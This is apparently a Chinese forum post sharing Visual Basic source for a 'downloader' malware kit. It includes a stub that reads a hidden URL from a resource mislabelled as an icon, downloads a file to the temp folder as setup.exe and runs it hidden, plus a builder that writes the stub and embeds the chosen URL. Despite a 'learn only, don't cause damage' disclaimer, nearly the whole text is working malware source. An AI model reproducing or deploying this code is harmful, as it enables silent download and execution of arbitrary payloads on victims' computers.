vb 编写下载者 把下载信息存在资源文件里.txt

我收集的几个下载者代码 大家看看学习学习就好了别搞破坏哦

以下就是服务端

 Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _   '取得temp目录的API
        (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long'下在文件的API

Public Sub Main()
Dim sourceUrl As String
Dim chen() As Byte
Dim targetFile As String
Dim tempPath As String
Dim len5 As Long

   Dim i As Long
   
    chen = LoadResData("HTTP", "图标") '取出数据
   For i = 0 To 184  '还原为字符
     
  If chen(i) <> 0 And chen(i) <> 32 Then
   sourceUrl = sourceUrl + Chr(chen(i))
   
  End If
  Next
   tempPath = String(255, 0)
       len5 = GetTempPath(256, tempPath)
        tempPath = Left(tempPath, len5)
 
         targetFile = tempPath + "setup.exe"  ' 保存路径
    hfile = URLDownloadToFile(0&, sourceUrl, targetFile, 0&, 0&)
If hfile = 0 Then
Shell targetFile, vbHide
End If

End Sub


保存为BAS 文件就可以了

控制台文件需要对资源文件进行读写

用到以下几个API

Public Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long

Public Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

这几个可以把它放到一个bas文件中

以下就是控制台的代码


Private Sub Command1_Click()
  Dim bwenjian As Long
  Dim wenjian As Long
  Dim ewenjian As Long
  Dim APP2() As Byte
  
   Dim astr As String * 200
   
    
  APP2 = LoadResData("EXE", "EXEFILE")
    If Dir(Text1.Text) <> "" Then
      
      MsgBox Text1.Text + "已存在"
      
      Exit Sub
    
    End If
   
   Open Text1.Text For Binary As #1
      
        Put #1, , APP2()
      
        Close #1
     
     
    
   astr = Left$(Text2.Text, 200)
       
    bwenjian = BeginUpdateResource(Text1.Text, False)' 开始一个添加资源的过程
    
    wenjian = UpdateResource(bwenjian, "图标", "HTTP", 2052, ByVal astr, 200) ' 添加资源
    
   ewenjian = EndUpdateResource(bwenjian, False) ' 结束添加资源过程

End Sub

Private Sub Form_Load()
Text1.Text = App.Path & "\XZ.Exe" '  默认的服务端文件名
End Sub


当然你要把 服务端的EXE导入里面存为资源